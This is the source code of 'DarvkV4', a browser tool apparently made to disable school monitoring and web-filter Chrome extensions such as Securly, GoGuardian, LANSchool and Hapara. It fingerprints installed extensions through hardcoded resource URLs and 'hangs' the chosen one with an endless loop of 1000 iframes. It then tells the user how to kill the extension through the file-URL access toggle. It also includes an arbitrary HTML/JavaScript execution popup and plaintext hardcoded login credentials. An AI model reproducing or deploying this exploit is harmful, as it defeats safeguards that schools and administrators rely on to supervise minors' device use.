DarvkV4 is an external tool made by Anonymous, it works as of December 2024.
Hanging... Please wait.
// New functionality to open a new tab
document.getElementById("openNewTabButton").addEventListener("click", function () {
// Open a new tab
var newTab = window.open("", "_blank");
// Write content to the new tab
newTab.document.write(`
Darvk
DarvkV4
Login to Darvk
DarvkV4 is an external tool made by Anonymous, it works as of December 2024.
Hanging... Please wait.
const validUsers = {
Admin: "AustonJK0",
Zyaire: "Zya",
TIM: "Tim",
Jayshawn: "Jay",
Jayrion: "JayG",
Namir: "Nam",
Taylor: "TayTay",
};
loadSavedUserLogin();
function saveUserLogin(username, password) {
localStorage.setItem("username", username);
localStorage.setItem("password", password);
localStorage.setItem("isLoggedIn", "true"); // Set login state
}
function loadSavedUserLogin() {
const savedUsername = localStorage.getItem("username");
const savedPassword = localStorage.getItem("password");
const isLoggedIn = localStorage.getItem("isLoggedIn");
const attemptCount = localStorage.getItem("attemptCount") || 0;
const lockoutTime = localStorage.getItem("lockoutTime") || 0;
// Check if the user is currently locked out
if (Date.now() < lockoutTime) {
alert("Too many failed attempts. Please try again later.");
return;
}
if (isLoggedIn === "true") {
// User is already logged in
document.getElementById("mainContent").style.display = "block";
setBackground();
displayWelcomeMessage(savedUsername); // Display welcome message
} else if (savedUsername && savedPassword) {
// If there are saved credentials, fill them in
document.getElementById("usernameInput").value = savedUsername;
document.getElementById("passwordInput").value = savedPassword;
checkLogin();
} else {
// Show login modal if not logged in
const loginModal = document.getElementById("loginModal");
loginModal.classList.add("show"); // Add class to show modal
}
}
function checkLogin() {
const username = document.getElementById("usernameInput").value;
const password = document.getElementById("passwordInput").value;
// Retrieve attempt count and lockout time from localStorage
let attemptCount = parseInt(localStorage.getItem("attemptCount")) || 0;
let lockoutTime = parseInt(localStorage.getItem("lockoutTime")) || 0;
// Check if the user is currently locked out
if (Date.now() < lockoutTime) {
alert("Too many failed attempts. Please try again later.");
return;
}
if (validUsers[username] && validUsers[username] === password) {
saveUserLogin(username, password);
document.getElementById("loginModal").style.display = "none";
document.getElementById("mainContent").style.display = "block";
setBackground();
localStorage.setItem("attemptCount", 0); // Reset attempt count on successful login
localStorage.removeItem("lockoutTime"); // Clear lockout time
displayWelcomeMessage(username); // Display welcome message
} else {
attemptCount++;
alert("Incorrect username or password. Please try again.");
if (attemptCount >= 5) {
alert("Too many failed attempts. You are locked out for 1 minute.");
lockoutTime = Date.now() + 60000; // Lock out for 1 minute
localStorage.setItem("lockoutTime", lockoutTime); // Store lockout time
attemptCount = 0; // Reset attempt count after lockout
}
localStorage.setItem("attemptCount", attemptCount); // Store attempt count
}
}
function displayWelcomeMessage(username) {
const welcomeMessage = document.getElementById("welcomeMessage");
welcomeMessage.innerText = `Welcome, ${username}!`;
welcomeMessage.style.display = "block"; // Show the welcome message
}
// Other functions remain unchanged...
function setBackground() {
const videoRegex = /\.(mp4|webm|ogg)$/i;
const imageRegex = /\.(jpeg|jpg|gif|png|svg|bmp|webp)$/i;
const imageUrl = "https://giffiles.alphacoders.com/483/48368.gif"; // Set your image URL here
const videoUrl = ""; // Set your video URL here
if (videoRegex.test(videoUrl)) {
document.getElementById("backgroundVideo").src = videoUrl;
document.getElementById("backgroundVideo").style.display = "block";
document.getElementById("backgroundImage").style.display = "none";
document
.getElementById("backgroundVideo")
.setAttribute("allow", "autoplay");
} else if (imageRegex.test(imageUrl)) {
document.getElementById("backgroundImage").src = imageUrl;
document.getElementById("backgroundImage").style.display = "block";
document.getElementById("backgroundVideo").style.display = "none";
}
}
async function checkExtensionURL(url) {
try {
const response = await fetch(url);
if (response.ok) {
return true;
} else {
return false;
}
} catch (error) {
return false;
}
}
async function populateSelectOptions() {
const selectElement = document.getElementById("iframeSelect");
const extensions = {
Securly:
"chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
"Securly (old)":
"chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
GoGuardian:
"chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
LANSchool:
"chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
Linewize:
"chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
Blocksi:
"chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
FortiGuard:
"chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
"Cisco Umbrella":
"chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
ContentKeeper:
"chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
"CK-Authenticator G3":
"chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
"Securly Classroom":
"chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
Hapara:
"chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
"Hapara (new ID)":
"chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
iboss:
"chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
"Lightspeed Filter Agent":
"chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
"Lightspeed Classroom":
"chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
"InterCLASS Filtering Service":
"chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
"InterSafe GatewayConnection Agent":
"chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
"LoiLo Web Filters":
"chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
"Gopher Buddy":
"chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
"LanSchool Web Helper":
"chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
IMTLazarus:
"chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
"Impero Backdrop":
"chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
"Mobile Guardian":
"chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
};
let hasSupportedExtensions = false;
for (const [name, url] of Object.entries(extensions)) {
if (await checkExtensionURL(url)) {
const option = document.createElement("option");
option.value = url;
option.textContent = name;
selectElement.appendChild(option);
hasSupportedExtensions = true;
}
}
if (!hasSupportedExtensions) {
const option = document.createElement("option");
option.value = "";
option.textContent = "We found nothing.";
selectElement.appendChild(option);
document.getElementById("hangButton").style.display = "none";
document.getElementById("openGoogleButton").style.display = "none";
document.getElementById("tutcrash").style.display = "none";
document.getElementById("crashButton").style.display = "none";
document.getElementById("openWebsiteButton").style.display = "none";
document.getElementById("showCustomUrlButton").style.display = "none";
document.getElementById("openCustomUrlButton").style.display = "none";
document.getElementById("closeCustomUrlButton").style.display =
"none";
document.getElementById("openallgg").style.display = "none";
}
}
populateSelectOptions();
function replaceIframes(container, iframeSrc) {
for (var i = 0; i < 1000; i++) {
var iframe = document.createElement("iframe");
iframe.src = iframeSrc;
iframe.style.width = "100%";
iframe.style.height = "100px";
container.appendChild(iframe);
}
setTimeout(function () {
while (container.firstChild) {
container.removeChild(container.firstChild);
}
replaceIframes(container, iframeSrc);
}, 5);
}
function warning() {
var overlay = document.getElementById("overlay");
overlay.style.display = " flex"; // Show overlay only for this action
var iframeSelect = document.getElementById("iframeSelect");
var selectedOption =
iframeSelect.options[iframeSelect.selectedIndex].text;
var selectedSrc = iframeSelect.value;
var popup = window.open("", "PopupWindow", "width=50,height=50");
var popupDocument = popup.document;
var popupBody = popupDocument.body;
var iframeContainer = popupDocument.createElement("div");
iframeContainer.id = "iframeContainer";
popupBody.appendChild(iframeContainer);
replaceIframes(iframeContainer, selectedSrc);
setTimeout(function () {
popup.close();
var extensionId = selectedSrc.substring(
selectedSrc.indexOf("//") + 2,
selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
);
var killExtensionText = document.getElementById("killExtensionText");
killExtensionText.innerHTML =
"Now that the extension " +
selectedOption +
" has been hanged, press the button above.";
setTimeout(function () {
overlay.style.display = "none"; // Hide overlay after action
killExtensionText.style.display = "block";
document.getElementById("killButton").style.display =
"inline-block";
document.getElementById("hangButton").style.display = "none";
document.getElementById("crashButton").style.display = "none";
document.getElementById("openGoogleButton").style.display = "none";
document.getElementById("tutcrash").style.display = "none";
document.getElementById("openallgg").style.display = "none";
document.getElementById("showCustomUrlButton").style.display =
"none";
document.getElementById("openCustomUrlButton").style.display =
"none";
document.getElementById("closeCustomUrlButton").style.display =
"none";
document.getElementById("openWebsiteButton").style.display = "none";
document.getElementById("iframeSelect").style.display = "none";
document.getElementById("labelForIframeSelect").style.display =
"none";
document
.getElementById("killButton")
.setAttribute("data-url", selectedSrc);
}, 10000);
}, 5000);
}
function openExtensionPopup() {
var selectedSrc = document
.getElementById("killButton")
.getAttribute("data-url");
var extensionId = selectedSrc.substring(
selectedSrc.indexOf("//") + 2,
selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
);
var killExtensionText = document.getElementById("killExtensionText");
document.getElementById("killButton").style.display = "none";
killExtensionText.innerHTML =
"Make sure to keep this tab open. Then in a new tab open chrome://extensions/?id=" +
extensionId +
" Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
window.location.href = selectedSrc;
}
function openCrashPopup() {
// Create a new popup window
var popup = window.open("", "CrashPopup", "width=800,height=600");
var popupDocument = popup.document;
// Write the initial HTML content to the popup
popupDocument.write(`
Execute HTML and JavaScript
Execute HTML and JavaScript
HTML Input
JavaScript Input
Upload File
`);
// Close the document to render the content
popupDocument.close();
// Create a variable to hold the output document
let outputDocument;
// Add event listener for the execute HTML button
popupDocument.getElementById("executeHtmlButton").addEventListener("click", function () {
const htmlCode = popupDocument.getElementById("htmlInput").value;
const outputFrame = popupDocument.getElementById("output");
outputDocument = outputFrame.contentDocument || outputFrame.contentWindow.document;
// Clear the output document before writing new content
outputDocument.open();
outputDocument.write(`
Output
${htmlCode}
`);
outputDocument.close();
// Show the output area after executing HTML
popupDocument.getElementById("outputArea").style.display = "block"; // Ensure the output area is visible
});
// Add event listener for the execute JavaScript button
popupDocument.getElementById("executeJsButton").addEventListener("click", function () {
const jsCode = popupDocument.getElementById("jsInput").value;
if (outputDocument) {
const script = outputDocument.createElement("script");
script.textContent = jsCode;
outputDocument.body.appendChild(script);
} else {
// If no HTML has been executed, create a new document to execute JavaScript
const newOutputFrame = popupDocument.createElement("iframe");
newOutputFrame.style.width = "100%";
newOutputFrame.style.height = "100%";
popupDocument.body.appendChild(newOutputFrame);
const newOutputDocument = newOutputFrame.contentDocument || newOutputFrame.contentWindow.document;
newOutputDocument.open();
newOutputDocument.write(`
`);
newOutputDocument.close();
const script = newOutputDocument.createElement("script");
script.textContent = jsCode;
newOutputDocument.body.appendChild(script);
}
});
// Add event listener for the load file button
popupDocument.getElementById("loadFileButton").addEventListener("click", function () {
const fileInput = popupDocument.getElementById("fileInput");
const file = fileInput.files[0];
if (file) {
const reader = new FileReader();
reader.onload = function (event) {
const fileContent = event.target.result;
const isHtml = file.name.endsWith('.html');
const isJs = file.name.endsWith('.js');
if (isHtml) {
popupDocument.getElementById("htmlInput").value = fileContent;
popupDocument.getElementById("executeHtmlButton").click();
} else if (isJs) {
popupDocument.getElementById("jsInput").value = fileContent;
popupDocument.getElementById("executeJsButton").click();
} else {
alert("Please upload a valid HTML or JavaScript file.");
}
};
reader.readAsText(file);
} else {
alert("No file selected.");
}
});
// Add event listener for the remove file button
popupDocument.getElementById("removeFileButton").addEventListener("click", function () {
popupDocument.getElementById("fileInput").value = ""; // Clear the file input
popupDocument.getElementById("htmlInput").value = ""; // Clear the HTML input
popupDocument.getElementById("jsInput").value = ""; // Clear the JavaScript input
popupDocument.getElementById("outputArea").style.display = "none"; // Hide the output area
});
// Add event listener for the pop out button
popupDocument.getElementById("popOutButton").addEventListener("click", function () {
const htmlCode = popupDocument.getElementById("htmlInput").value;
const jsCode = popupDocument.getElementById("jsInput").value;
// Open a new window for the HTML output
const newWindow = window.open("", "PoppedOutHTML" + Date.now(), "width=800,height=600");
newWindow.document.write(`
Popped Out HTML
${ htmlCode}
`);
newWindow.document.close();
// Function to execute JavaScript in the popped-out window
const executeJsInNewWindow = (code) => {
const script = newWindow.document.createElement("script");
script.textContent = code;
newWindow.document.body.appendChild(script);
};
// Execute JavaScript in the new window
executeJsInNewWindow(jsCode);
// Add a button to execute JavaScript in the popped-out window
const executeJsButton = newWindow.document.createElement("button");
executeJsButton.textContent = "Execute JavaScript";
executeJsButton.style.margin = "5px";
executeJsButton.style.padding = "10px"; // Consistent padding
executeJsButton.style.backgroundColor = "#351b6054";
executeJsButton.style.color = "#ffffff";
executeJsButton.style.border = "none";
executeJsButton.style.fontSize = "14px"; // Smaller font size
executeJsButton.style.borderRadius = "5px"; // Smaller border radius
newWindow.document.body.appendChild(executeJsButton);
executeJsButton.addEventListener("click", function () {
const jsCode = popupDocument.getElementById("jsInput").value;
executeJsInNewWindow(jsCode);
});
});
// Add event listener for the toggle output button
popupDocument.getElementById("toggleOutputButton").addEventListener("click", function () {
const outputArea = popupDocument.getElementById("outputArea");
outputArea.style.display =
outputArea.style.display === "none" || outputArea.style.display === ""
? "block"
: "none";
});
}
`);
newTab.document.close(); // Close the document to render the content
});